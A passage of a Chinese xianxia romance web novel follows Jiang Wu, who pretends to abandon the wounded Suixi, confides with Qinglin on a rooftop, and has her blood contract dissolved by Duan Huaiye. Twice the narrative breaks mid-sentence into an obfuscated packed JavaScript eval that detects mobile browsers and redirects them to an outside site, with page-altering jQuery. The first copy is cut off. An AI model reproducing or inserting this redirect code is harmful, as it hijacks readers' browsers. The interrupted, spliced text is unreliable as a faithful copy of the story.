“今夜你好好休息,明日寂满便会过来。” 青鳞看着姜芜端过来的饭菜,温声道:“辛苦你了,其实不用给我准备的。” “吃饱了,身上的伤好得快。”姜芜说,“吃完放在这里便可,我过会进来收拾。” 青鳞颔首,出声应了下来。 众人吃完了晚饭,沛然主动去洗刷了碗筷,所有人各怀心事地围坐在桌前,姜芜打了个哈欠,见百衢没有要走的打算,便也不再打算同他们耗下去,她起身将阿若带到了一间空房间前。 “去休息吧,小孩子要多睡觉的,这样才会长得高。” 阿若有些无奈地看着姜芜,“我已经不是小孩子了,我长大了。” 姜芜伸手摸了摸阿若的发顶,“去睡吧,明日可以早起去集市上看看,你也不必如此拘束,我既然同意你跟着我,便不会不管你的。” 阿若被姜芜戳破了心事,点了点头便推开门进了房间。 睢羲同几人喝清了一壶茶,开口道:“时候不早了,各位早些休息吧。” 宿凌薇见睢羲回房,便压低了声音对百衢说:“你怎么还不走?” 百衢想起晚饭时姜芜的传讯,顿时有些心烦意乱,“别吵,困了就去睡觉,这里房间多的是,尤其是你。”说完,他便抬手指了一下宿凌薇。 宿凌薇神情一噎,随即扬声道:“混蛋,没见过你这般死皮赖脸的人。” 百衢面色一寒,迅速起身逼近宿凌薇,俯身将她抗在了肩,抬脚往一处空房间走去。 宿凌薇大惊,立刻对百衢拳打脚踢,“百衢,你疯了,放我下来!” 百衢被宿凌薇的挣扎搞得心情有些烦躁,直接用戾气打晕了她,踢开房门将她扔到了床榻上,随即关上房门走了出来。 百衢捏了捏眉心,抬眸对季易和沛然说:“行了,清净了。你们两个也去休息吧,我要静一静。” 季易与沛然互看一眼,随即离开了中厅。 姜芜躺在床榻上深深浅浅地做着梦,睢羲进门时她便清醒了过来,她从床榻上起身,借着外面的烛光看着睢羲。 “困了吗?” 睢羲点了一盏灯,将身上的外袍脱下来搭在木施上,同姜芜的外袍堆叠在一处,他上前看着后者眼中浓重的睡意,“将你吵醒了,继续睡吧。”说完,他上前托住姜芜的后颈,将她往床榻上引。 姜芜摇了摇头,她伸手抵住了睢羲的肩,从纳袋中取出一颗血太岁,“来吧,睢羲,试试这颗血太岁。” 睢羲颔首,他把姜芜扶起,与她对面而坐。 姜芜用灵气祛除了血太岁中的腐朽之息,将其催化成粉末,散在睢羲周身,“睢羲,血太岁虽然功效其佳,但终究是阴邪之物,不舒服要同我讲。” 睢羲轻笑,“不会不舒服的。” 姜芜颔首,缓慢地将血太岁粉末推入睢羲心间的伤口处,她用戾气包裹住每一粒粉末,让睢羲尽量能够完完全全地吸收所有。 “感觉如何?” 睢羲摇了摇头,“没有感觉的。” 姜芜蹙眉,将全部的血太岁粉末化入了睢羲体内,待他运化完之后立刻上前去解他的衣裳,声音急促地问道:“伤口有好一些吗?” 睢羲捉住姜芜的手,抬眸温柔地看着她,然后轻轻地摇了摇头。 “算了吧,你也不要太累,我们便这样吧,我已经很知足了。” 姜芜闻言一愣,卸力靠进睢羲怀中,合上双眸埋在他的胸前,或许本就没有抱什么希望,亦或许经历了太多的失败,所以这次的失望也没有太猛烈,她现下只想紧紧地抱着睢羲,汲取着他身上的温度和气味。 睢羲拍了拍姜芜的肩背,温声安抚道:“没关系的,我感觉好受多了,伤口也不疼了。” 姜芜缓慢地赖在睢羲怀中整理好了情绪,起身贴上他的额头,她合眸忍受着突如其来的心口锥痛,随即笑着对睢羲说:“今日你同百衢说的话,我可都听到了。” 睢羲偏头把姜芜按在了怀中,神情有些不自然地说:“我是骗他的。” “可是我放在心里了。”姜芜借机蹭了蹭睢羲的衣襟,将眼泪全部擦在了上面,“即便是你是骗他的,但是你不能骗我。” 睢羲思忖了片刻,随即长长地叹了一息,“这不合适。” 姜芜伸手抱住睢羲,“我知道,我都知道。”说完,她起身下榻穿鞋,走到桌前取了两个干净的杯子,将其中一杯混入了全部的幻梦水,随后往杯子中倒满了江心月。 姜芜率先喝完了没有幻梦水的那杯酒,她背对着睢羲,神情苦涩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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百衢蹙眉,难以置信地说:“难道睢羲便只有死路一条了?” 姜芜闻言周身一震,迅速回神,她凝聚灵气反手打向了百衢。 百衢一时不备,整个人后退半步稳住身形,他抬手擦去唇角溢出来的鲜血,面色不解地看着姜芜,“濯漪,你疯了吗?” “百衢,你说的很对,补天之后,濯漪便死了,她再没有回来过。” 百衢蹙眉,一脸不解地看着姜芜:“你在说什么胡话?你不是濯漪,谁是濯漪?” 姜芜下颌微扬,神情冷淡地看着百衢,放缓了语速,“濯漪?你们为何从一开始便确定了我便是她呢?百衢,当年睢羲认定我是濯漪,所以出手救了我,而我为了寻求他的庇护便将计就计,在他面前做起了濯漪。其实濯漪这个名字并不属于我,我也不是她,只是你们将我误认成了濯漪。” 季易与沛然闻声赶来,恰巧听到姜芜的这番话。 沛然有些难以置信地问道:“你不是濯漪?那你是谁?” “我是谁?”姜芜有些苦恼地按在了自己的眉心处,随即笑了起来,“这些年我寻找了太多有关于濯漪的事情,便是为了能够欺骗过你们,欺骗过我自己,为了让我能够更像她,而我当了太久的濯漪,早就忘记我自己是谁了,不过我是谁,似乎同你们没有关系。” 百衢挑眉,面上露出一个邪笑,“你便是这般欺骗睢羲感情的吗?觉得他现下要完了,没有利用价值了,所以便要一脚将他踹开?” 姜芜丝毫不加掩饰地应了下来,她伸手抚上了自己的脸颊,“我为何还要留着一个废物?况且,段怀野有天书在手,比起睢羲他更有利用价值。如果弱小,便要利用自己的优势,将利益最大化。” 百衢冷哼一声,“那我现下要带你口中的废物走,你有意见吗?你若是敢有意见,我便杀了你。” “请便。” 百衢立刻冲进了房间中,当他看到睢羲坐在床榻边时,正准备开口却看到了后者示意他噤声。 “走吧。” 百衢看着睢羲神情空洞的模样,感觉自己的胸腔控制不住地颤抖了起来,仿佛每一寸肌肉都在被拉扯,他的呼吸忍不住急促起来,来延缓这种莫名其妙的感觉。 “你若是觉得愤怒,我立刻去杀了她,你若是不舍得,我绑也把她给你绑回无幻之境。” 睢羲起身正准备从木施上将自己的外袍取下,手指却勾到姜芜的外袍,柔软丝滑的布料乖顺地贴着他的手指。 睢羲深深地吸了一口气,片刻后他收回了自己的手,声音微颤,“走吧,什么都不必做。” 睢羲说完率先化作一道戾气飞往无幻之境,百衢见状紧随其后。 季易与沛然察觉到百衢离开,也跟着离开了小院。 姜芜静静地立在原地,松开了紧握的双手,鲜血顺着掌心的纹路,从指尖滴落在地,她察觉到刺痛,抬起自己的双手看着上面的掐痕,有些诧异于这些伤口,不知自己是何时弄伤的。 姜芜挽了袖口,将双手浸泡在铜盆之中,缓慢地清洗着上面的血迹。 “或许,你有些话想要说,但是却不知晓能跟谁说。”青鳞伸手拉开房门,“我们之间没有太多的牵扯,你心中的真实想法是怎样,你心中的计划又是怎样的,与我没有任何的关系,你只是单纯的需要一个倾听者,我可以吗?” 姜芜面无表情地甩了甩手上的水珠,“不必了,你是寂满的母亲。” 青鳞闻言也不恼,语气柔柔地说:“那你可以做我的倾听者吗?” 姜芜用帕子擦干了手上的水珠,转身看着青鳞,“你有心事?” 青鳞垂眸,她拢紧了身上的外袍,“你身侧的那个姑娘,她身上有我熟悉的气息。” 105. 绵绵 姜芜躺在屋顶之上,静静地听着青鳞诉说她的心事,满目之处苍穹蔚蓝,万里无云,一片澄澈,而她却觉得自己心中一片颓然。 青鳞坐在姜芜的身侧,她环着自己的双膝,抬眸看着星空,“虽然我不知晓你究竟活了多久,但是我生育过,便大胆当你的长辈吧。” 姜芜按了按胀痛的眉骨,轻声说:“都可以。” 青鳞脸上带着恬静的笑容,挪动着身体面向姜芜,伸手轻轻地按揉着后者不舒爽的地方。 姜芜抬手挡了一下青鳞的手,有些诧异的睁开双眸看着她,“你不必如此。” “你愿意在这种情况下,倾听我的心事,我却不知晓该如何汇报,这便算是我一点小小的补偿吧。”青鳞力道适中地按揉着姜芜的眉心和额间,“不知晓濯漪姑娘有没有崇拜之人,当我还小的时候,我觉得能与崇拜之人生儿育女是一件很幸福的事情,但幻想总是美好的,等真正实现之时才发觉,其实并没有想象中那么美好。” 青鳞垂眸看着姜芜,轻声说:“爱是自私的,同样也是无私的,他不在身侧我觉得好痛好委屈,但是他在身侧我又觉得好幸福,我便在这冰火两重天里,熬过了一年又一年。” 姜芜无言,只是静静地看着青鳞悲伤的神情,片刻后又合上了双眸,她比青鳞幸运许多。 青鳞继续道:“刚嫁予尊上时,我真的好幸福,尊上几乎天天陪着我,即便是有事外出,只要没有危险他便会带着我,很快我便有了身孕。” 姜芜蹙眉,“你只有寂满一个孩子?” “是啊,活下来的只有阿满一个。”青鳞说,“我生产那日,族内动荡,我拼死也只留下了一枚蛋。阿满是我第一个孩子,也是我唯一一个孩子,他小时候很乖很听话,尊上却总是让我对他少一点溺爱。” 青鳞笑着,眼里却噙满了眼泪,“我对阿满与尊上对阿满是不一样的,我只有一个孩子,尊上却有好多个孩子,阿满只是其中资质平平的一个,但是在我眼里,他却是那么的优秀,上进。同样的,我只有一个夫君,而尊上却有好多位妻子,我既不是跟随尊上时间最久的,也不是他最疼爱的。” 姜芜抬手擦拭掉青鳞脸上的泪水。 青鳞见状慌忙伸手去擦眼泪,笑着说:“让你见笑了。” 姜芜起身抻了个懒腰,“不会。”说完,她取出一股江心月递给青鳞。 “你没想过离开他吗?”姜芜说完便轻笑了一声,随即仰头喝了一口酒,“你爱之深,对他又爱又恨,要离开他确实很难。” 青鳞苦笑着说:“是啊,离开他确实能远离痛苦,但是我离不开他,所以一切都是我自找的,我就是人族说的那种贱骨头吧。” 姜芜晃着手中的酒壶,“倒也不必自轻自贱,苍旻待你也应当不错,否则你也不会这般犹豫不决。” 青鳞说:“是啊,他对我很好,他是一个合格的夫君,对谁都很好,可是我却想他只对我好。那个姑娘,我能感受到她的气息,她便是塔塔的女儿吧。” 姜芜抬眸有些诧异地看向青鳞,“你认得塔塔?” “自然。”青鳞闻言失魂落魄地一笑,“塔塔啊,她是草原上自由的风,她也爱慕着尊上,在得知我们的存在时,因为接受不了尊上如此复杂的情况,也不愿同尊上回大荒生活,便做了草原上最自由的风。我能感受到她的痛、她的纠结与不舍,所以她选择了与我截然不同的一条路。为此,尊上沉寂了很久,看得出他也很在意塔塔,虽然他一直埋在心底,从未与我真正说过。” 姜芜突然想起柏雨,那个内敛听话的姑娘,现下却成了她心中的一根刺。 修罗一族中没有固定伴侣一说,睢羲在所有修罗眼里是异类,包括百衢也是这般认为的。 姜芜曾听睢羲说过后悔杀了段怀野,因为他想让段怀野做姜芜的退路。 姜芜现下想想,于她而言,柏雨其实也是睢羲口中的一条退路,她觉得柏雨定会全心全意地照顾好睢羲,会抚平他身上的疤痕,同他一心一意,或许他们之间也会诞生出百衢所期望的修罗幼崽。 姜芜想到此处,有些难受地攥紧了前襟,只要是想到睢羲会以待她的方式去待别人,她的胸腔便一阵一阵钝痛。 青鳞放下手中的酒壶,将自己的帕子递给姜芜,“憋在心里总归是不好的,哭出来会轻松许多,不像我心里难过却哭不出来,因为流泪总会让我觉得自己可笑。” 姜芜神情诧异地看向青鳞,迅速抬手擦了擦自己的脸,才发觉并没有眼泪,她轻笑了一声,仰头喝了一口酒,所有的事情发展到现下,都是她太自私的缘故。 姜芜问道:“你以后呢?继续待在苍旻身边吗?” “以后啊。”青鳞想起自己此番出来的目的,面上的笑意更深,“生在这世间,小满为乐,以后我只想阿满能健健康康,快快乐乐的生活。” 姜芜看了青鳞一眼,默默地收回了视线,她觉得青鳞的这种妥协也没有什么不好,有时候过度强求未必能换来自己想要的。 “小满为乐,小满为乐。”姜芜长长地舒了口气,“小满为乐好啊,知足常乐,有喜爱崇拜的人,有孩子在身侧,没什么不好的。” 青鳞笑着说:“是啊,这般挺好的。时间不早了,你早些休息吧。” 姜芜起身扫了扫肩上的草屑,“我以为你有事情求我呢,比如说让我杀掉苍旻身侧其余的女人,只留你一个呢。” 青鳞面上的笑意更深,“我母族的势力比不得其他人,不好给你和尊上惹麻烦的,这些年我也想通了,尊上心里还有我便好。” “嗯,小满为乐。” 清晨,下了一场零星小雪,多了几分寒意。 姜芜坐在草亭中煮茶,太阳将出未出,她抿了一口热茶顿时觉得周身的疲惫烟消云散,连带着身体也暖和了不少,她半个时辰前给寂满传了讯,算算路程现下也应该到了。 “你找得这处地方倒是不错。” 段怀野推开院门走了进来,他搭着一件玄色银线大氅,衣着习性越发得与从前相似,连同长相也逐渐趋近于之前原本的模样。 姜芜抬眸看了段怀野一眼,从茶洗中夹了一只杯子放在面前,用水勺盛了热茶倒入杯中,“你这副身体用得越发顺手了,不打算还给商扶庭了吗?” 寂满跟在段怀野身后火急火燎地冲了进来,扬声大喊道:“娘!” 青鳞闻声快步走了出来,看到寂满时眼圈倏地红了一圈,神情又惊又喜地回应着他,“阿满。” 寂满上下打量着青鳞,急切地问道:“娘,你是怎么出来啊?那个阵多危险啊,你有没有受伤?” 青鳞摇了摇头,她抚摸着寂满的脸颊,“乖,娘没事,让娘好好看看你,都好久不曾见你了。” 寂满点了点头,他拍了拍自己的手臂和胸膛,笑着说:“娘,你看我壮实了吗?” “嗯,壮实了,比在家里壮实了不少。”青鳞摸了摸寂满的头发,“不过也瘦了,在外一定吃了不少苦吧。” 阿若悄悄地观察着母子二人,她从不知晓原来母亲与孩子是可以这般相处的,母亲可以拥抱孩子,感叹着他的成长,而孩子也可以依偎在母亲的怀抱中,贪恋着母亲柔软的手中,只是看着便让人为之动容,令人艳羡。 段怀野上前撩开大氅坐在了姜芜对面,他执杯闻了闻茶香,随即笑道:“今日怎么喝的是花茶?” 姜芜垂眸抿茶,语气冷淡地说:“我今日换了口味不行吗?” 段怀野从纳戒中取了一个纸包放在二人中间,“空腹喝茶不好,刚出炉的黄米糕,尝尝。” 雾沅扶着常奉眠走进了草亭中坐好,他抬眸欲言又止地看了一眼姜芜。 常奉眠伸手往旁边摸索过去,关切地问道:“濯濯,这些时日你过得还好吗?” 姜芜取了一块黄米糕放到了常奉眠的手中,顺手掐诀试探了一番她的双眸,“一切都好,你呢?” 常奉眠点了点头,笑着说:“我也都好,他们都对我很好。” 段怀野说:“我看是逍遥又自在吧。” 姜芜神情不悦地睨了段怀野一眼,随后取了一块黄米糕来吃。 雾沅见二人叙旧完便从草亭中走过去,抬手施礼,“青鳞夫人,别来无恙。” 青鳞笑着点了点头,“雾沅,你也受苦了,这段时间,阿满拜托你照顾了。” 宿凌薇抻了个懒腰,活动着僵硬的肩颈从房间内走出来,她走进草亭靠在了姜芜肩上。毫不客气地拿了一块黄米糕,“睢羲他们回无幻之境了?百衢这个狗东西,昨晚居然暗算我,真是痛死了。” 姜芜心脏一紧,面不改色地给宿凌薇盛了一杯茶,“喝茶。” 突然,一阵清风席卷而来,梅华道尊四人御剑而来,她率先收剑落地,快步朝着段怀野走了过来,她的神情充满了动容和难以置信,试探地开了口。 “师尊?” 姜芜起身先是看了一眼雾沅三人,以眼神示意三人先回房间,随即才对段怀野道:“怎么?这么久的时间,你都不曾与他们相认吗?” 梅华道尊听闻姜芜这般说,心中更加确信了面前这个略有陌生的男子便是她的师尊段怀野。 沈确跟在清逸道尊身后,神情复杂地看着段怀野,不发一言。 段怀野先是略有责备地看了姜芜一眼,随即端起了一门之长的架子,“若微,不曾想你我师徒缘分未了,居然还能再相见。” 梅华道尊的眼圈顿时泛红,她立刻抬手施弟子礼,并叩首于段怀野面前,“弟子梅若微叩见师尊。” 清逸道尊与赤烁道尊纷纷照做,“拜见师尊。” 沈确直愣愣地站在原地,神情怔怔地看着段怀野,妄图从段怀野身上找到一丝有关于商扶庭的痕迹。 清逸道尊见状伸手扯了扯沈确的衣袖,轻声斥道:“徒儿,不准对师祖无礼。” 沈确推开清逸道尊的手,大步走到了段怀野的面前,她仰头问道:“商师兄呢?我师兄商扶庭去了哪里?” 梅华道尊呵斥道:“沈确,不准对太初道尊无礼,师弟,你平时是如何管教徒弟的?” 段怀野抬手制止了梅华道尊,他垂眸看着沈确,开口道:“我便是商扶庭,商扶庭便是我,若是你愿意,我也可以是你的师兄。” 沈确闻言一愣,随即嗤笑一声,她一脸难以置信地后退着,神情悲恸,“怎么可能,太初道尊怎么可能是我的师兄,太抬举我了,我师兄只是与我从小一同长大的商扶庭啊,不是什么圣人大能。”说完,她便转身向小院外走去。 沈确踏出院门,余光扫到了太阿剑上的穗子,这是商扶庭曾经送给她的生辰礼物,一只玉雕的小狐狸,她抬手解下了穗子,将太阿剑竖放在门口的位置,随即快步跑远。 清逸道尊见状立刻道:“岂有此理,师尊你莫与她计较,这孩子从小无父无母,被我惯坏了,她与商扶庭一同长大,感情深厚,一时之间难以接受,也情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15826465|163894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有可原,还请师尊万般莫要放在心上啊。” 阿若闻言看了过来,她心中有些不解,那位句句情真意切,拳拳之心的青年似乎格外维护方才跑走的姑娘,而且二人之间不存在任何血缘关系,而那青年居然可以说出这么一番维护她的话来,不似父亲却胜似父亲。 段怀野说:“无事。” 梅华道尊说:“现下时局动荡,还请师尊回山主持大局。” 段怀野面上闪过一丝犹豫,他回头看了姜芜一眼,主持大局之类的,本身五行道宗的建立便是为了收留一些无家可归的孩子,他随手拿了几本姜芜的手札给他们看,延续发展到如此地步是他所没有预料到的。 现下让他回山主持大局,周旋于各大门派与繁杂的事务之间,他是万般不愿的。 “姜芜。” 姜芜闻言蹙眉,神情有些不满地看向段怀野,“何事?” 段怀野问道:“你愿意回山同我主持大局吗?” 宿凌薇讶然,扬声道:“段怀野,你疯了吧,你要不听听你自己在说什么?你凭什么要求濯濯同你回去?” 赤烁道尊开口道:“师尊,万万不可,若是这女修罗出现在长衡山,天下正道要如何看我们?怕是有辱师尊盛名,还请师尊三思了。即便是……即便是……也不该让她出现在天下正道面前。” 段怀野轻笑了一声,他回头看了姜芜一眼,开口对下方的三个弟子说:“我也没教过你们什么,也没允诺过你们什么,也没有给予过你们何物,为何你们便要对我感恩戴德,而姜芜让你们能够修仙淬体,脱离凡人之躯,送你们各类法器,你们却对她恨得咬牙切齿,以你们这种情况,岂不是要……” 姜芜快步上前,在段怀野说完之前,扬手打断了他的话,“现在说这些有什么用?当初也不是我要给他们的,是你自己从我这里取的,现下也不必把功劳都给我。早知今日如此,你当初又何必收留他们?” 梅华道尊一愣,立刻扬声道:“姜芜,你怎敢?” 段怀野舔了一下口腔内壁,又伸手沾了沾自己的唇角,随即抬眸看向姜芜,“打人怎么这么疼?你手疼不疼?” 姜芜见状后退半步,心中一片恶然,随即坐回了宿凌薇身侧,片刻后又觉得心中隔应,便扔了水勺,起身回了房间。 段怀野轻笑了一声,他看着下方的三名徒弟,“师傅我呀,年纪大了,比不得之前了,该给年轻人让位了,若微你这掌教当得不错,一直当下去便是,若是有困难再来找为师也不迟。” 梅华道尊面上微凝,“师尊……这恐怕不合适吧……” 段怀野说:“没什么不合适的,去吧,给为师留个清净。” 梅华道尊闻言也不再劝阻,只是对着段怀野拜了三拜,“此生还能再见师尊一年,若微无憾。”说完,她便准备起身离开。 “等等。”段怀野出声喊住梅华道尊,“若微,把你同姜芜签订的血契交给我。” 梅华道尊神情一变,随后从纳戒中取出血契交给段怀野,“也对,此等要紧之物还是让师尊保存为好。” 段怀野伸手接过血契,“无事便可离开了。” “弟子遵命。”说完,梅华道尊便转身离开。 赤烁与清逸见状也纷纷拜别段怀野。 青鳞同寂满回到屋内时,一眼便看到了躲在门口的阿若,她看着那头熟悉的金黄色长发,顿时了然。 阿若在看到青鳞的一瞬间立刻躲回了房间里。 雾沅蹙眉,有些诧异地看向青鳞,“夫人,她……” 寂满看到阿若的那一刻,感觉自己浑身的鳞片都炸起来了,他拉了拉青鳞的手,“娘,那人是谁啊?她怎么这么熟悉?” 青鳞拍了拍寂满的手,温柔地说道:“没事,我先去看看她。”说完,她便走向了阿若地房间,抬手叩了叩后者的房门。 阿若将房门拉开一道缝隙,神情无措地看着青鳞,“我……我不认识你们……方才不是有意要听你们讲话的。” 青鳞见阿若的长发散落在身后,便开口问道:“怎么未梳头发?” 阿若说:“我刚起,还未来得及。” 青鳞说:“若是不介意的话,我来帮你梳吧。” 阿若拨了拨自己凌乱的头发,眼神中流露出一丝期盼,她试探地问道:“可……可以吗?会不会太麻烦你了?” 青鳞勾唇微笑,“不会。” 阿若开心地笑了起来,她拉开门请青鳞进来。 寂满神情震惊地看着雾沅,“她是谁啊,看起来年纪不大,会不会是我妹妹?” 雾沅若有所思地点了点头,“有可能。” “可……可是,我从未见过哪位夫人是一头金发的。”寂满犹犹豫豫地说,“而且我父亲说过,我娘将会是他最后一位夫人。” 雾沅看向寂满的神情有些怜惜,他无奈地叹了一息,“尊上坐在这个位置上,看似位高权重,无人能够忤逆,但很多事情都身不由己。那个姑娘,应该是个半妖,也就是说她的母亲是人类。” 青鳞引着阿若坐在镜前,用桃木梳顺着她的长发,“若是扯痛了,要跟我说。” 阿若看着镜中神情温柔的女子,那身影逐渐与她想象中的母亲若重叠。 “谢谢您帮我梳头,从小到大都没有人帮我梳过头的。” 青鳞很快便给阿若挽好了发髻,从自己的发髻上取了一柄银梳给她别好,“你的母亲呢?为何不帮你梳头发?” 106. 往往 阿若看着镜中的自己,青鳞给她束的是双螺发髻,顶在头上像两只可爱的兔子耳朵,她伸手小心翼翼地摸了摸,随即开心地笑了起来。 “真好看,您手真巧。”阿若看着自己的金发,“不过,我的发色似乎不太适合这个发髻。” 青鳞问道:“你想要墨色吗?” 阿若转身看着青鳞,眼神亮晶晶地充满期盼,“可以吗?” “当然可以了。” 青鳞笑着抬手掐诀,施法将阿若的金发掩盖住,变为如墨一般的黑色,使得她的长发不再那般夺目耀眼。 “谢谢,真是太感谢了。”阿若笑着说,“若是我的母亲也像您一般便好了,不过她从未抱过我几次,若不是昨日进入她的墓中看望她,估计我连她的样子都要忘记了。” 青鳞拍了拍阿若的肩膀,“好孩子,别难过,你以后还长着呢。” 寂满见青鳞从阿若的房间中出来,立刻迎了上去,“娘,她是谁啊?你怎么还对她那么上心。” 青鳞笑着说:“因为她也是你父亲的孩子,也是你的妹妹。阿满,你要与她好好相处。” 寂满想也不想地拒绝,“我不要,我不要妹妹,我不要其他夫人生出的妹妹。” 雾沅看得出青鳞笑容中的苦涩,心中顿时五味杂陈,他伸手捣了一下寂满的后腰。 寂满见状拉着青鳞的手晃了晃,软声道:“娘,不提那些糟心事了,我想带你认识一个人。” 青鳞闻言面上一喜,随即调侃道:“寂满长大了?有了挂心之人要介绍给我认识?” 寂满立刻变了脸色,急忙伸手欲捂青鳞的嘴,叮嘱道:“娘,你可不能这么说,现下只是你儿子的一厢情愿,人家姑娘也是个可怜人,我……只是让你认识认识,没有别的想法。” 青鳞心中了然,“好,等会晌午的时候,娘来下厨招待你的朋友。” “娘,你还没有告诉我,你伤得重不重?”寂满问道,“你怎么突然出了大荒,是不是父亲对我失望了,觉得我没有按他的要求化龙,所以让你来提点我?” 青鳞摇了摇头,“不是,都不是,你很优秀也很努力,是娘想你了,所以便出来看看你。娘身上的伤已经无碍了,濯漪都帮我治好了。” 寂满不疑有他地笑了起来,“这样啊,那我欠姜芜的可是还不清了。” 段怀野待三人走后,重新坐在原位喝了几杯茶,随即便起身往姜芜的房间走去。 宿凌薇见状,开口质问道:“段怀野,你做何事?” 段怀野扬了扬手中的血契,“给姜芜解血契。” 常奉眠摸索着伸出手扯了扯宿凌薇的衣角,“方才所说的五行道宗的那些人,修仙淬体的功法以及各种法器都是濯濯给的,这件事情是真是假啊?” 宿凌薇也是一头雾水,“大抵是真的吧,我也不清楚,怎么突然对这件事感兴趣?” 常奉眠说:“这样的话,岂不是寰空铃以及寰空阵也同濯濯有关,虽然说她不是修罗,但是同修罗并没有深仇大恨,甚至与经常与修罗为伴,她为何要这般做呢?” “不。” 宿凌薇神情坚定地摇了摇头,“这种事情一定是段怀野做的,同濯濯无关的,不过......” 常奉眠听到宿凌薇话锋一转,“怎么?” “你为何这般确定濯濯不是修罗?”宿凌薇神情不解地说,“她分明是修罗才对啊,她出生于无幻之境,从小便在睢羲身侧,怎么可能不是修罗。” 常奉眠摇了摇头,“我也不清楚,但是我看到的便是如此,她并非修罗,体内没有暴虐的戾气,一个修罗没有戾气她还可以存活吗?” 宿凌薇转念想起段怀野曾经说姜芜是五彩之石的事情,若有所思地说:“自然是活不了的。” 姜芜躺在床榻上,出神地看着木施上的那件外袍,又是这件花青色的外袍,在荆州也是,她拿着这件花青色的外袍,重新找到了睢羲。 而他现下留下这件外袍,姜芜只是看着,心中便有一种想要再去寻他的冲动。 姜芜十分难受地轻吟了一声,她强迫自己侧过身不再去看那件外袍。 段怀野直接推门而入,他看姜芜面朝里侧躺在床榻上,开口问道:“这个时间还要继续睡?” 姜芜没有心情和精力同段怀野交谈,语气不善地说:“出去,关上门。” 段怀野不以为然,他关好门走到床榻边坐好,伸手拢着姜芜放在一侧的手。 姜芜施力往回挣了挣,无果后便抬眸看向了段怀野,声音冷淡,“放手。” 段怀野闻言并不恼怒,面上带笑,把血契放在了姜芜手中,“怎么心情不好?是因为睢羲不在,还是我方才多嘴的缘故?” 姜芜看着手中的血契,神情不解地问道:“给我做何事?” “你自己毁掉,当初为何要放任他们签下这个?”段怀野的目光游移到了姜芜的脸上,“你想一举两得,既能用太初剑挖出自己的心,又能用自己的心修补无幻之境的结界来救睢羲,以你的能力也不必如此作践自己,抢了太初剑跑便是。” 姜芜反问道:“你还有更好的办法吗?我不懂怎样修补无幻之境的结界,想同五行道宗合作便只有这个办法。” 段怀野答非所问,“他能活到现在我很意外,到底是个大修罗,不过你在其中功不可没。” 姜芜睨了段怀野一眼,“你若是没有更好的办法,便将我的心剜了去,也好给天下人有个交代。” 段怀野笑着说:“剜了你的心,把无幻之境的结界修补上,让那些修罗数着日子等死,只为了睢羲能活,你忍心吗?” 姜芜说:“你若是没有更好的办法,便不必在此评头论足,毕竟这个办法也是我的最后的办法,若非走投无路,我也不愿意这般做。” 段怀野面上笑意更深,“把你的那份血契给我。” 姜芜合上了双眸,“不必了,留着便是,也无甚用处。” 段怀野静静地看着姜芜,看着她一脸诧异地坐起身,颤抖着手指从自己的纳袋中将另一份血契取了出来,然后递了过来。 “乖孩子。” 段怀野伸手接过了姜芜的那份血契,“当初那几个孩子我未用心教导过,签订这血契,算是冒犯你了。”说完,他便抬手将那两份血契毁去。 姜芜双眸一眯,神情明显不悦,“我在商扶庭身上下的同心咒,倒是让你用了个顺手。” 段怀野笑着说:“我捡了个便宜呗,别整日里一副不开心的模样,我不是同你讲了嘛,你回来我便同你去取第四卷天书。” 段怀野看着姜芜,心中五味杂陈,他记忆中的姜芜每日面上都笑语盈盈,无忧无虑,毫无形象的大笑是常有的事情,通常也会让人觉得心情愉悦。 可是从他醒来,一切都变了,不仅四周变得让他陌生,连他最熟悉的姜芜也是如此,连平时她最爱的点心,都不能让她展颜一笑。 姜芜叹了一息,血契虽然已解,但是因为噬魂骨钉的压制,她并感觉到身体有多轻松,她拧着眉心说:“希望里面能让人有意想不到的法子吧,我是无能为力了。” 段怀野看着姜芜,突然想起商扶庭问过得一句话。 “姜芜,你怨我吗?” 姜芜神情不解地抬眸看向段怀野,不发一言。 段怀野重复道:“姜芜,你怨我吗?” 姜芜有些疲惫地靠在软垫上,伸手反搭在自己的眉心处,“为何这般问?” “你的苦难都是我造成的,不论是三百多年前那次,还是荆州那次。”段怀野收敛了脸上的笑容,“怨我会让你有个发泄口,你也会好受一些,不必整日闷在心中。” 姜芜垂眸沉思了片刻,随即轻笑了一声,“当时商扶庭也同我说过相似的话。” 段怀野说:“我知道,但是你说了不怨,但那是商扶庭,现下是我。” 姜芜的声音轻轻柔柔的,“不怨,我都不怨,当初的事情各有难处,我们本就立场身份不同,你也是站在你的立场行事,是我没用,护不住他而已。算了吧,治好他的事情已经让我心力交瘁了,我没有精力再去怨恨什么了。” 段怀野闻言一震,心头动容,他神情有些激动地问道:“假如……假如,你先遇见的是我,而不是他呢?我们之间会不会有所不同?” 姜芜的目光越过段怀野去看木施上的外袍,目光温柔似水,“你怎么会这般想,我没这么想过,睢羲便是睢羲,你便是你,没有先后的问题,只有是谁的问题。” 段怀野看着姜芜,心中即便是有千言万语,此时也一句话都说不出来,这一切的一切,原来都只是因为他是段怀野。 段怀野长长地叹了一息,“小春神。” 姜芜说:“我已经不是春神了,不必这般喊我。” 段怀野释然地一笑,他仰身靠在床幔架杆上,“我蛮怀念你做春神的时候,毕竟那是我离你最近的时候。” “我不喜欢那个时候,天上一天地下一年,我每日都要早起当值。”姜芜蹙眉,“而且我不记得我当时见过你。” 段怀野合着双眸,在姜芜的床榻上找了个舒适的位置躺好,“你差一点便能见到我了。” 姜芜见段怀野神情惬意地躺在床榻的另一侧,大有一副短时间内不离开的模样,“你是打算在我这里睡觉吗?” 段怀野睁开一只眼眸看着姜芜,“不明显吗?” 姜芜懒得同他计较,起身走了出去。 【顺榆镇外破庙】 